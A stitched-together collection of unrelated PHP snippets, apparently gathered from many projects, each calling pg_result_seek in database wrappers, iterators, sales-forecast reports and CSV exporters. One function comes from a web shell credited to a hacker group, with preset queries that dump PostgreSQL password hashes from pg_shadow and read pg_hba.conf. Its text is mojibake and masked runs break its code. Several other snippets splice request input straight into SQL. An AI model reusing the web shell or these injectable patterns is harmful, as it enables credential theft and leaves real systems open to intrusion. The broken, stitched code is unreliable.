function fetch_referendums($status, $start, $pagelen, $search, $order) { global $dbconn, $expanded_referendums; global $sql_names; global $sql_select, $sql_from, $sql_where; global $sql_fud_names, $sql_fud_select, $sql_fud_from, $sql_fud_where; global $sql_type_select, $sql_type_from, $sql_type_where; $sql_fetch = " from" . " (select " . $sql_select . $sql_fud_select . $sql_type_select . " from " . $sql_from . $sql_fud_from . $sql_type_from . " where " . $sql_where . $sql_fud_where . $sql_type_where . " order by i.referendum) as v" . " where " . $search; $sql = "select count(*) from (select distinct on (referendum) referendum " . $sql_fetch . " group by referendum) as r"; $row = pg_fetch_row(pg_query($dbconn, $sql)) or die('Could query: ' . pg_last_error()); $len = (int) $row[0]; $sql = "select * " . $sql_fetch . " order by " . $order; " limit " . ($start + $pagelen); $rows = pg_query($dbconn, $sql) or die('Could query: ' . pg_last_error()); pg_result_seek($rows, $start); $v = array(); while ($row = pg_fetch_row($rows)) { $row = array_combine($sql_names, $row); $row['expanded'] = in_array($row['referendum'], $expanded_referendums); if (!isset($v[count($v) - 1]) || $v[count($v) - 1]['referendum'] != $row['referendum']) { $v[] = $row; } else { if (!isset($v[count($v) - 1]['subrows'])) { $v[count($v) - 1]['subrows'] = array($v[count($v) - 1]); } $v[count($v) - 1]['subrows'][] = $row; } } return array('len' => $len, 'referendums' => $v); }
public function rowSeek($rowNum) { $re = @pg_result_seek($this->query_result, $rowNum); if (!$re) { throw new Exception($this->errorInfo()); } return $re; }
public function seek($offset) { if ($this->offsetExists($offset) && pg_result_seek($this->_result, $offset)) { $this->_current_row = $this->_internal_row = $offset; return true; } else { return false; } }
/** * Go to a row int the RecordSet. * * @param int $row Row to go to. * @return bool Returns TRUE on success, FALSE if failed. */ function SetRow($row = 0) { $this->row = $row; if (pg_result_seek($this->result, $row) === FALSE) { return FALSE; } else { return TRUE; } }
function data_seek($result, $row = 0, $dbtype = 'mysql') { if ($dbtype == 'mysql') { mysqli_data_seek($result, $row); } else { if ($dbtype == 'postgres') { pg_result_seek($result, $row); } } }
public function seek($offset) { if ($this->offsetExists($offset) and pg_result_seek($this->_result, $offset)) { // Set the current row to the offset $this->_current_row = $this->_internal_row = $offset; return TRUE; } else { return FALSE; } }
/** * Constructor method for the adapter. This constructor implements the setting of the * 3 required properties for the object. * * @param resource $d The datasource resource */ function pgsqlAdapter($d) { parent::RecordSetAdapter($d); $fieldcount = pg_num_fields($d); $ob = ""; $be = $this->isBigEndian; $fc = pack('N', $fieldcount); if (pg_num_rows($d) > 0) { pg_result_seek($d, 0); while ($line = pg_fetch_row($d)) { // write all of the array elements $ob .= "\n" . $fc; foreach ($line as $value) { // write all of the array elements if (is_string($value)) { // type as string $os = $this->_directCharsetHandler->transliterate($value); //string flag, string length, and string $len = strlen($os); if ($len < 65536) { $ob .= "" . pack('n', $len) . $os; } else { $ob .= "\f" . pack('N', $len) . $os; } } elseif (is_float($value) || is_int($value)) { // type as double $b = pack('d', $value); // pack the bytes if ($be) { // if we are a big-endian processor $r = strrev($b); } else { // add the bytes to the output $r = $b; } $ob .= "" . $r; } elseif (is_bool($value)) { //type as bool $ob .= ""; $ob .= pack('c', $value); } elseif (is_null($value)) { // null $ob .= ""; } } } } $this->serializedData = $ob; $this->numRows = pg_num_rows($d); for ($i = 0; $i < $fieldcount; $i++) { $this->columnNames[$i] = $this->_charsetHandler->transliterate(pg_field_name($d, $i)); } }
function display() { extract($_REQUEST); $fields = array(); $fields["from_year"] = date("Y"); $fields["from_month"] = date("m"); $fields["from_day"] = "01"; $fields["to_year"] = date("Y"); $fields["to_month"] = date("m"); $fields["to_day"] = date("d"); $fields["inc_perc"] = 0; $fields["dec_perc"] = 0; extract($fields, EXTR_SKIP); $from_date = "{$from_year}-{$from_month}-{$from_day}"; $to_date = "{$to_year}-{$to_month}-{$to_day}"; $OUTPUT = "<center>\n\t<h3>Point in Time Sales Forecast</h3>\n\t<form method='post' action='" . SELF . "'>\n\t<table " . TMPL_tblDflts . ">\n\t\t<tr>\n\t\t\t<th colspan='3'>Date Range</th>\n\t\t</tr>\n\t\t<tr class='" . bg_class() . "'>\n\t\t\t<td>" . mkDateSelect("from", $from_year, $from_month, $from_day) . "</td>\n\t\t\t<td> <b>To</b> </td>\n\t\t\t<td>" . mkDateSelect("to", $to_year, $to_month, $to_day) . "</td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<th>Increase</th>\n\t\t\t<th> </th>\n\t\t\t<th>Decrease</th>\n\t\t</tr>\n\t\t<tr class='" . bg_class() . "'>\n\t\t\t<td align='center'>\n\t\t\t\t<span style='font-weight: bold'>+</span>\n\t\t\t\t<input type='text' name='inc_perc' value='{$inc_perc}' size='4'\n\t\t\t\tstyle='text-align: center' />\n\t\t\t\t<span style='font-weight: bold'>%</span>\n\t\t\t</td>\n\t\t\t<td> </td>\n\t\t\t<td align='center'>\n\t\t\t\t<span style='font-weight: bold'>-</span>\n\t\t\t\t<input type='text' name='dec_perc' value='{$dec_perc}' size='4'\n\t\t\t\tstyle='text-align: center' />\n\t\t\t\t<span style='font-weight: bold'>%</span>\n\t\t\t</td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td colspan='3' align='center'>\n\t\t\t\t<input type='submit' value='Apply' />\n\t\t\t</td>\n\t\t</tr>\n\t</table>\n\t</form>"; $sql = "SELECT whid, whname FROM exten.warehouses ORDER BY whname ASC"; $wh_rslt = db_exec($sql) or errDie("Unable to retrieve stores."); $stores_th_lv1 = $stores_th_lv2 = ""; while ($wh_data = pg_fetch_array($wh_rslt)) { $stores_th_lv1 .= "<th colspan='2'>{$wh_data['whname']}</th>"; $stores_th_lv2 .= "<th>Actual</th><th>Average<br>per Week</th>"; } // Retrieve unique stock $sql = "SELECT DISTINCT(stkcod) FROM cubit.stock ORDER BY stkcod ASC"; $stkcod_rslt = db_exec($sql) or errDie("Unable to retrieve stock codes."); $stock_out = ""; while ($stkcod = pg_fetch_array($stkcod_rslt)) { $stkcod = $stkcod["stkcod"]; $sql = "SELECT stkdes FROM cubit.stock\n\t\t\t\tWHERE stkcod='{$stkcod}'"; $stkdes_rslt = db_exec($sql) or errDie("Unable to retrieve stock."); $stkdes = pg_fetch_result($stkdes_rslt, 0); $stock_out .= "<tr class='" . bg_class() . "'>\n\t\t\t<td>{$stkcod}</td>\n\t\t\t<td>{$stkdes}</td>\n\t\t\t<td>\n\t\t\t\t" . totalActual($stkcod, $from_date, $to_date) . "\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t<!--" . totalProjected($stkcod, $inc_perc, $dec_perc, $from_date, $to_date) . "-->\n\t\t\t\t" . totalWeekAverages($stkcod, $from_date, $to_date) . "\n\t\t\t</td>"; pg_result_seek($wh_rslt, 0); while ($wh_data = pg_fetch_array($wh_rslt)) { $sql = "SELECT stkid, units FROM cubit.stock\n\t\t\t\t\tWHERE stkcod='{$stkcod}' AND whid='{$wh_data['whid']}'"; $stock_rslt = db_exec($sql) or errDie("Unable to retrieve stock."); $stock_data = pg_fetch_array($stock_rslt); $stkid = $stock_data["stkid"]; // Don't go beyond this point unless the stock exists in this store if (empty($stkid)) { $stock_out .= "<td>0.00</td><td>0.00</td>"; continue; } // Total sales for the selected period $actual_sales = actualSales($stkid, $from_date, $to_date); $projected_sales = projectedSales($stkid, $inc_perc, $dec_perc, $from_date, $to_date); $stock_out .= "\n\t\t\t\t<input type='hidden' name='stkid[]' value='{$stkid}' />\n\t\t\t\t<td>\n\t\t\t\t\t<input type='hidden' name='actual_sales[{$stkid}]'\n\t\t\t\t\tvalue='{$actual_sales}' />\n\t\t\t\t\t{$actual_sales}\n\t\t\t\t</td>\n\t\t\t\t<td>\n\t\t\t\t\t<input type='hidden' name='projected_sales[{$stkid}]'\n\t\t\t\t\tvalue='{$projected_sales}' />\n\t\t\t\t\t<!--{$projected_sales}-->\n\t\t\t\t\t" . weekAverages($stkid, $from_date, $to_date) . "\n\t\t\t\t</td>"; } } $OUTPUT .= "\n\t<form method='post' action='" . SELF . "'>\n\t<table " . TMPL_tblDflts . ">\n\t\t<tr>\n\t\t\t<th rowspan='2'>Stock Code</th>\n\t\t\t<th rowspan='2'>Stock Item</th>\n\t\t\t<th colspan='2'>Total</th>\n\t\t\t{$stores_th_lv1}\n\t\t</tr>\n\t\t<tr>\n\t\t\t<th>Actual</th>\n\t\t\t<th>Average<br>per Week</th>\n\t\t\t{$stores_th_lv2}\n\t\t</tr>\n\t\t{$stock_out}\n\t\t<tr>\n\t</table>\n\t</form>"; return $OUTPUT; }
/** * Constructor method for the adapter. This constructor implements the setting of the * 3 required properties for the object. * * @param resource $d The datasource resource */ function pgsqlAdapter($d) { parent::RecordSetAdapter($d); $fieldcount = pg_num_fields($d); for ($i = 0; $i < $fieldcount; $i++) { $this->columns[] = pg_field_name($d, $i); } if (pg_num_rows($d) > 0) { pg_result_seek($d, 0); while ($line = pg_fetch_row($d)) { $this->rows[] = $line; } } }
function rewind() { if (isset($this->queryId) && is_resource($this->queryId) && pg_num_rows($this->queryId)) { if (pg_result_seek($this->queryId, 0) === false) { $this->connection->_raiseError(""); } } elseif (!$this->queryId) { $this->stmt->free(); if (is_array($this->sort_params)) { $this->stmt->addOrder($this->sort_params); } if ($this->limit) { $this->stmt->addLimit($this->offset, $this->limit); } $this->queryId = $this->stmt->execute(); } $this->key = 0; $this->next(); }
function getData($dbh, $sql, $filename) { //$sql = "SELECT ST_X(geom) AS X, ST_Y(geom) AS Y, gid, standort, einheit, messw_bl, lon, lat, petrograph FROM public.bodenluft_4326"; $result = pg_query($dbh, $sql); if (!$result) { die("Error in SQL query: " . pg_last_error()); } //$filename = 'Bodenluft_4326_statistics_php.csv'; $fp = fopen($filename, "w+"); // fetch a row and write the column names (!) out to the file -> first line of CSV $row = pg_fetch_assoc($result); $line = ""; $comma = ""; foreach ($row as $name => $value) { $line .= strtoupper($comma . str_replace('"', '""', $name)); //letters to uppercase and ',' and ' ' are "deleted" $comma = ","; } $line .= "\n"; fputs($fp, $line); // remove the result pointer back to the start pg_result_seek($result, 0); // and loop through the actual data while ($row = pg_fetch_assoc($result)) { $line = ""; $comma = ""; $replace = array(",", " "); foreach ($row as $value) { $line .= $comma . str_replace($replace, '', $value); $comma = ","; } $line .= "\n"; fputs($fp, $line); } fclose($fp); // free memory pg_free_result($result); $output = "<script>console.log( 'Writing file finished' );</script>"; echo $output; }
function getData($dbh, $sql, $filename) { $result = pg_query($dbh, $sql); if (!$result) { die("Error in SQL query: " . pg_last_error()); } $fp = fopen($filename, "w+"); // fetch a row and write the column names (!) out to the file -> first line of CSV $row = pg_fetch_assoc($result); $line = ""; $comma = ""; foreach ($row as $name => $value) { $line .= strtoupper($comma . str_replace('"', '""', $name)); //letters to uppercase and ',' and ' ' are "deleted" $comma = ","; } $line .= "\n"; fputs($fp, $line); // remove the result pointer and get back to the start of the columns: pg_result_seek($result, 0); // and loop through the actual data while ($row = pg_fetch_assoc($result)) { $line = ""; $comma = ""; $replace = array(",", " "); foreach ($row as $value) { $line .= $comma . str_replace($replace, '', $value); $comma = ","; } $line .= "\n"; fputs($fp, $line); } fclose($fp); // free memory pg_free_result($result); $output = "<script>console.log( 'Writing file finished' );</script>"; echo $output; }
function Move($zp_row) { global $db; if (@pg_result_seek($this->resource, $zp_row)) { return; } else { $db->set_error(pg_last_error()); } }
function compare() { extract($_REQUEST); if ($prd == "week") { $dates = lastWeekDates(); } else { $dates = lastMonthDates(); } $start_date = $dates["start_date"]; $end_date = $dates["end_date"]; // Store headings $sql = "SELECT whid, whname FROM exten.warehouses ORDER BY whname ASC"; $wh_rslt = db_exec($sql) or errDie("Unable to retrieve stores."); $stores_th_lv1 = $stores_th_lv2 = ""; while ($wh_data = pg_fetch_array($wh_rslt)) { $stores_th_lv1 .= "<th colspan='2'>{$wh_data['whname']}</th>"; $stores_th_lv2 .= "<th>Actual</th><th>Projected</th>"; } // Retrieve unique stock $sql = "SELECT DISTINCT(stkcod) FROM cubit.stock ORDER BY stkcod ASC"; $stkcod_rslt = db_exec($sql) or errDie("Unable to retrieve stock codes."); $stock_out = ""; while ($stkcod = pg_fetch_array($stkcod_rslt)) { $stkcod = $stkcod["stkcod"]; $sql = "SELECT stkdes FROM cubit.stock\n\t\t\t\tWHERE stkcod='{$stkcod}'"; $stkdes_rslt = db_exec($sql) or errDie("Unable to retrieve stock."); $stkdes = pg_fetch_result($stkdes_rslt, 0); $stock_out .= "<tr class='" . bg_class() . "'>\n\t\t\t<td>{$stkcod}</td>\n\t\t\t<td>{$stkdes}</td>\n\t\t\t<td>\n\t\t\t\t" . totalActual($stkcod, $start_date, $end_date, $forecast_id) . "\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t" . totalProjected($stkcod, $inc_perc, $dec_perc, $start_date, $end_date, $forecast_id) . "\n\t\t\t</td>"; pg_result_seek($wh_rslt, 0); while ($wh_data = pg_fetch_array($wh_rslt)) { $sql = "SELECT stkid, units FROM cubit.stock\n\t\t\t\t\tWHERE stkcod='{$stkcod}' AND whid='{$wh_data['whid']}'"; $stock_rslt = db_exec($sql) or errDie("Unable to retrieve stock."); $stock_data = pg_fetch_array($stock_rslt); $stkid = $stock_data["stkid"]; // Don't go beyond this point unless the stock exists in this store if (empty($stkid)) { $stock_out .= "<td>0.00</td><td>0.00</td>"; continue; } $sql = "SELECT actual, projected FROM cubit.forecast_items\n\t\t\t\t\tWHERE stkid='{$stkid}' AND forecast_id='{$forecast_id}'"; $fci_rslt = db_exec($sql) or errDie("Unable to retrieve items."); $fci_data = pg_fetch_array($fci_rslt); // Total sales for the selected period $current_actual = actualSales($stkid, $start_date, $end_date, $forecast_id); $current_projected = projectedSales($stkid, $inc_perc, $dec_perc, $start_date, $end_date, $forecast_id); if (empty($current_actual)) { $current_actual = "0.00"; } if (empty($current_projected)) { $current_projected = "0.00"; } if (empty($fci_data["actual"])) { $fci_data["actual"] = "0.00"; } if (empty($fci_data["projected"])) { $fci_data["projected"] = "0.00"; } $actual_sales = sprint($current_actual - $fci_data["actual"]); $projected_sales = sprint($current_projected - $fci_data["projected"]); if ($actual_sales > 0) { $actual_color = "green"; } elseif ($actual_sales < 0) { $actual_color = "red"; } else { $actual_color = "black"; } if ($projected_sales > 0) { $projected_color = "green"; } elseif ($projected_sales < 0) { $projected_color = "red"; } else { $projected_color = "black"; } $stock_out .= "\n\t\t\t\t<input type='hidden' name='stkid[]' value='{$stkid}' />\n\t\t\t\t<td>\n\t\t\t\t\t<input type='hidden' name='actual_sales[{$stkid}]'\n\t\t\t\t\tvalue='{$actual_sales}' />\n\t\t\t\t\t<span style='color: {$actual_color}'>{$actual_sales}</span>\n\t\t\t\t</td>\n\t\t\t\t<td>\n\t\t\t\t\t<input type='hidden' name='projected_sales[{$stkid}]'\n\t\t\t\t\tvalue='{$projected_sales}' />\n\t\t\t\t\t<span style='color: {$projected_color}'>{$projected_sales}</span>\n\t\t\t\t</td>"; } } $OUTPUT = "\n\t<center>\n\t<h3>Compare Sales Forecast</h3>\n\t<table " . TMPL_tblDflts . ">\n\t\t<tr>\n\t\t\t<th rowspan='2'>Stock Code</th>\n\t\t\t<th rowspan='2'>Stock Item</th>\n\t\t\t<th colspan='2'>Total</th>\n\t\t\t{$stores_th_lv1}\n\t\t</tr>\n\t\t<tr>\n\t\t\t<th>Actual</th>\n\t\t\t<th>Projected</th>\n\t\t\t{$stores_th_lv2}\n\t\t</tr>\n\t\t{$stock_out}\n\t\t<tr>\n\t</table>\n\t</center>"; return $OUTPUT; }
/** * Se Mueve al resultado indicado por $number en un select * * @param int $number * @param resource $resultQuery * @return boolean */ function data_seek($number, $resultQuery = NULL) { if (!$resultQuery) { $resultQuery = $this->last_result_query; if (!$resultQuery) { return false; } } if (($success = pg_result_seek($resultQuery, $number)) !== false) { return $success; } else { throw new KumbiaException($this->error()); } }
function query($sql, $verbose=false){ return new TestPostgrResult(array()); $sql = trim($sql); if($this->_postgr_link === false){ $this->_postgr_link = pg_connect("host=" . $this->host . " user="******" password="******" dbname=" . $this->database); pg_query($this->_postgr_link, "SET NAMES 'utf8'"); } if($this->_postgr_link === false){ throw new DatabaseException("could not connect to MySQL"); }; if($this->_query_cache->get($sql)){ if($verbose)echo "found in cache<br>"; $result = $this->_query_cache->get($sql); if(pg_num_rows($result)){ if($verbose) echo ": seeking to 0"; pg_result_seek($result, 0); } $ret = new PostgrResult($this->_postgr_link, $result); if($verbose) echo "<br>"; }else{ if($verbose) echo "not in cache"; $this->_query_count++; /** * this following line should be run once per connection to postgres * * i'm running it before every query. I can probably optimize this * to run once per connection, but I need to do some thorough testing... * * http://dev.mysql.com/doc/refman/5.0/en/charset-connection.html */ pg_query($this->_postgr_link, "SET NAMES 'utf8'"); $timer = new Timer(); $timer->start(); $result = pg_query($this->_postgr_link, $sql); $ret = new PostgrResult($this->_postgr_link, $result); $timer->stop(); $time = $timer->read(); if(is_object($this->logger)){ $this->logger->log($this, ALogger::$LOW, $sql); } /** * the query is too long! oh noes! */ if($time > .1){ /** * save the query to the DB, so I can look at it later */ if(is_object($this->logger)){ $this->logger->longQuery($time, $sql); } } if(pg_last_error($this->_postgr_link)){ if($verbose) echo "postgr_error: " . pg_last_error($this->_postgr_link) . "<br>"; throw new DatabaseException(pg_last_error($this->_postgr_link)); } if(strpos($sql, "SELECT") === 0){ if($verbose) echo ": select: $sql<br><br>"; $this->_query_cache->put($sql, $result); }else{ if($verbose) echo ": not select: $sql<br>"; if($verbose) echo "clearing cache<br>"; $this->_query_cache->reset(); } } return $ret; }
<h3>Assigned sensors</h3> <TABLE width=100% cellpadding=0 cellspacing=0> <? $sql = "SELECT distinct sensor_name, location, max(sensor_id) as sensor_id, max(last_connection) as last_connection from sensors where location is not null group by sensor_name, location order by sensor_name "; $result = pg_query($sql); if (!$result) echo "<center>No un-assigned sensors in database...</center>"; ?> <TR><TH class=row-header-left> <TH class=row-header-middle>Sensor Name<TH class=row-header-middle>Assign Location<TH class=row-header-right>Last Checkin <? while ($r = @pg_fetch_array($result)) { echo "<TR><TD><a href=$PHP_SELF?del_sensor=".$r['sensor_name']."><img border=0 src=x.gif></a><TD>".$r['sensor_name']."<TD align=center><select name=\"SensorLocation".$r['sensor_id']."\">"; echo("<option value=\"NULL\">Unknown</option>"); pg_result_seek($locations, 0); while ($location = pg_fetch_array($locations)) { if ($location['id'] == $r['location']) $selected = "SELECTED"; else $selected = ""; echo("<option value=".$location['id']." $selected>".$location['name']."</option>"); } echo "<TD align=center>".$r['last_connection']; } ?> <TR><TD> <TD align=center><INPUT type=submit name=submit value="Update Locations"> </TABLE> </form>
/** * Seek to a specific row in a result set * * @param int $rownum number of the row where the data can be found * @return mixed MDB2_OK on success, a MDB2 error on failure * @access public */ function seek($rownum = 0) { if ($this->rownum != $rownum - 1 && !@pg_result_seek($this->result, $rownum)) { if (false === $this->result) { return $this->db->raiseError(MDB2_ERROR_NEED_MORE_DATA, null, null, 'resultset has already been freed', __FUNCTION__); } if (null === $this->result) { return MDB2_OK; } return $this->db->raiseError(MDB2_ERROR_INVALID, null, null, 'tried to seek to an invalid row number (' . $rownum . ')', __FUNCTION__); } $this->rownum = $rownum - 1; return MDB2_OK; }
function Executa($Origem, $Destino, $nmAula, $DataLimite) { $db = new avdb(); $db->Conn_av(); if (strlen($DataLimite) == 10) { $dia = substr($DataLimite, 0, 2); $mes = substr($DataLimite, 3, 2); $ano = substr($DataLimite, 6, 4); $DataLimite = $ano . '-' . $mes . '-' . $dia; //echo $DataLimite; } else { $DataLimite = NULL; } //obtem o MinimoMP de Origem $MinimoMP = $db->Select("\"MinimoMP\" FROM aulas WHERE \"Chave\" = {$Origem}"); //insere a nova aula no curso de destino //echo "<br>INSERT INTO aulas (\"CodCurso\", \"Nome\", \"DataLimite\") VALUES($Destino, '$nmAula', '$DataLimite')".$DataLimite; if ($DataLimite != NULL) { $sql = pg_query("INSERT INTO aulas (\"CodCurso\", \"Nome\", \"DataLimite\", \"MinimoMP\") VALUES({$Destino}, '{$nmAula}', '{$DataLimite}', {$MinimoMP})"); } else { $sql = pg_query("INSERT INTO aulas (\"CodCurso\", \"Nome\", \"MinimoMP\") VALUES({$Destino}, '{$nmAula}', {$MinimoMP})"); } //echo "INSERT INTO aulas CodCurso, Nome VALUES($Destino, '$nmAula')"."<br>"; //recupera a Chave da Nova criada $sql = pg_query("SELECT \"Chave\" FROM aulas WHERE \"CodCurso\" = {$Destino} AND \"Nome\" = '{$nmAula}' ORDER BY \"Chave\" DESC "); $res = pg_fetch_array($sql); $NovaAula = $res[0]; //echo "SELECT * FROM aulas_avaliacoes WHERE (((CodAula)=$Origem)) ORDER BY IndexQuestao<br>"; $SQLorig = pg_query("SELECT * FROM aulas_avaliacoes WHERE (((\"CodAula\")={$Origem})) ORDER BY \"IndexQuestao\""); // or die(mysql_errno()); //echo "SELECT * FROM aulas_avaliacoes WHERE (((CodAula)=$Origem)) ORDER BY IndexQuestao<br>"; $fields_orig = pg_query("SELECT column_name FROM information_schema.columns WHERE table_name = 'aulas_avaliacoes'"); $count = pg_num_fields($SQLorig); //echo $count."<br>"; while ($orig = pg_fetch_array($SQLorig)) { $str = "INSERT INTO aulas_avaliacoes ("; $i = 1; pg_result_seek($fields_orig, 0); while ($fields = pg_fetch_array($fields_orig)) { if ($fields[0] != "Chave") { $str .= "\"" . $fields[0] . "\""; if ($i < $count) { $str .= ", "; } } $i++; } $str .= ") VALUES("; $i = 1; pg_result_seek($fields_orig, 0); while ($fields = pg_fetch_array($fields_orig)) { //prepara campos especiais if ($orig['Tipo'] == '') { $orig['Tipo'] = 'MP'; } if (empty($orig['Min'])) { $orig['Min'] = 'NULL'; } if (empty($orig['Max'])) { $orig['Max'] = 'NULL'; } //prepara a clausula VALUES switch ($fields[0]) { case "CodCurso": $str .= $Destino . ", "; break; case "CodAula": $str .= $NovaAula . ", "; break; case "IndexQuestao": $str .= $orig['IndexQuestao'] . ", "; break; case "Questao": $str .= "'" . $orig['Questao'] . "', "; break; case "Peso": $str .= $orig['Peso']; break; case "Tipo": $str .= ", '" . $orig['Tipo'] . "', "; break; case "Min": $str .= $orig['Min'] . ", "; break; case "Max": $str .= $orig['Max']; break; } $i++; } $str .= ")"; //echo "$str<br>"; //grava a nova questão //echo "<br> $str"; $res = pg_query($str); //insere as alternativas $sql = pg_query("SELECT \"Chave\" FROM aulas_avaliacoes WHERE \"CodAula\" = {$NovaAula} AND \"IndexQuestao\" = " . $orig['IndexQuestao'] . " ORDER BY \"Chave\" DESC "); $res = pg_fetch_array($sql); $CodAvaliacao = $res[0]; $sqlAlts = pg_query("SELECT * FROM aulas_avaliacoes_alternativas WHERE \"CodAvaliacao\" = " . $orig['Chave']); while ($alts = pg_fetch_array($sqlAlts)) { $str = "INSERT INTO aulas_avaliacoes_alternativas (\"CodAula\", \"CodAvaliacao\", \"IndexAlternativa\", \"Alternativa\", \"Resposta\") VALUES({$NovaAula}, {$CodAvaliacao}, " . $alts['IndexAlternativa'] . ", '" . $alts['Alternativa'] . "', " . $alts['Resposta'] . ")"; //echo $str."<br>"; $res = pg_query($str); } } $this->showNovaQuestao($Destino, $NovaAula, $nmAula); }
function dataSeek($res, $row) { return pg_result_seek($res, $row); }
/** * Rewind the Iterator to the first element */ public function rewind() { pg_result_seek($this->resource, 0); $this->fetchRowNumber = 0; return $this; }
/** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero * * @access private * @return array */ function _data_seek($n = 0) { return pg_result_seek($this->result_id, $n); }
public function seek($result, $row) { $temp = @pg_result_seek($result, $row); if (!$temp) { //throw new Exception('Could not seek : ' . pg_last_error($this->lnk)); } return $temp; }
public function seek($offset) { if (!$this->offsetExists($offset)) { return FALSE; } return pg_result_seek($this->result, $offset); }
/** * 获得所有的查询数据 * @access private * @return array */ private function getAll() { //返回数据集 $result = pg_fetch_all($this->queryID); pg_result_seek($this->queryID, 0); return $result; }
/** * Moves cursor position without fetching row. * * @param int the 0-based cursor pos to seek to * @return boolean TRUE on success, FALSE if unable to seek to specified record * @throws DibiException */ public function seek($row) { return pg_result_seek($this->resultSet, $row); }
function Pgr_sql() { $pghost = $_POST['pghost'] ? $_POST['pghost'] : ''; $pgport = $_POST['pgport'] ? $_POST['pgport'] : ''; $pguser = $_POST['pguser'] ? $_POST['pguser'] : '******'; $pgpass = $_POST['pgpass'] ? $_POST['pgpass'] : ''; $pgdb = $_POST['pgdb'] ? $_POST['pgdb'] : 'postgres'; $pgquery = $_POST['pgsql'] ? $_POST['pgsql'] : 'select version()'; $pgquery = stripslashes($pgquery); print <<<END <script language="javascript"> function pgFull(i){ Str = new Array(6); Str[0] = "select version();"; Str[1] = "select datname from pg_database;"; Str[2] = "select DISTINCT table_name from information_schema.columns where table_schema !='information_schema' limit 1 offset n;"; Str[3] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;"; Str[4] = "select usename,passwd from pg_shadow;"; Str[5] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; pgform.pgsql.value = Str[i]; return true; } </script> <div class="actall"> <!--SQL������ʼ--> <p style="font-size:10pt;font-family:Lucida Handwriting,Times New Roman;"> �������Ͷ˿�Ϊѡ����ݿ�������ʱ�ɳ��Բ���д<br> ���ű�Ĭ���䱸��SQL����������PostgreSQL 8.1<br> �ѿ�����д��ȷ�����ݿ���<br> �б��ο���select relname from pg_stat_user_tables limit 1 offset n;<br> ��������PostgreSQL�����ɲμ�<a href="http://nana.blackbap.org/?p=archive&id=55" target="_blank">[����]</a><br><hr></p> <form name="pgform" method="POST" action="?s=pq"> ������:<input type="text" name="pghost" value="{$pghost}" style="width:100px"> �û�:<input type="text" name="pguser" value="{$pguser}" style="width:100px"> ����:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px"> ���ݿ���:<input type="text" name="pgdb" value="{$pgdb}" style="width:100px"><br><br> <textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br> �˿ڣ�<input type="text" name="pgport" value="{$pgport}" style="width:50px"> <select onchange="return pgFull(options[selectedIndex].value)"> <option value="0" selected>��ʾ�汾</option> <option value="1">���ݿ�</option> <option value="2">����</option> <option value="3">�ֶ�</option> <option value="4">hashes</option> <option value="5">pg_hb.conf</option> </select> <input type="hidden" name="sql" value="YoCo Smart"> <input type="submit" value="ִ��SQL����"> <font style="font-size:10pt;"> <a href="http://blackbap.org" target="_blank">Silic Group Hacker Army</a>©2009-2012</font></form> <!--SQL��������--> END; if (!empty($pghost) && !empty($pgport)) { $conn = "host=" . $pghost . " port=" . $pgport . " dbname=" . $pgdb . " user="******" password="******"dbname=" . $pgdb . " user="******" password="******"verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td><b>' . pg_field_name($pgresult, $i) . "</b></td>\n"; } echo "</tr>\n"; pg_result_seek($pgresult, 0); while ($pgrow = pg_fetch_row($pgresult)) { echo "<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td>' . "{$pgrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table>\n" . "</font>"; pg_free_result($pgresult); pg_close(); } echo "</div>"; }
public function data_seek($result, $offset) { return pg_result_seek($result, $offset); }
/** * @param mixed $res * @param int $row * @return bool */ function dataSeek($res, $row) { if ($res instanceof ResultWrapper) { $res = $res->result; } return pg_result_seek($res, $row); }
/** * Seek to a specific record of the result set * * @param int $row The index of the row to position to (zero-based) * * @return void */ public function seek($row) { switch ($this->mode) { case "mysql": $this->result->data_seek($row); break; case "postgres": case "redshift": pg_result_seek($this->result, $row); break; case "odbc": # The odbc driver doesn't support seeking, so we fetch specific rows in getNextRow(), and here all we need to do is set the current position instance variable break; case "sqlite": $this->result->reset(); for ($i = 0; $i < $row; $i++) { $this->result->fetchArray(); } break; case "mssql": mssql_data_seek($this->result, $row); break; } $this->position = $row; }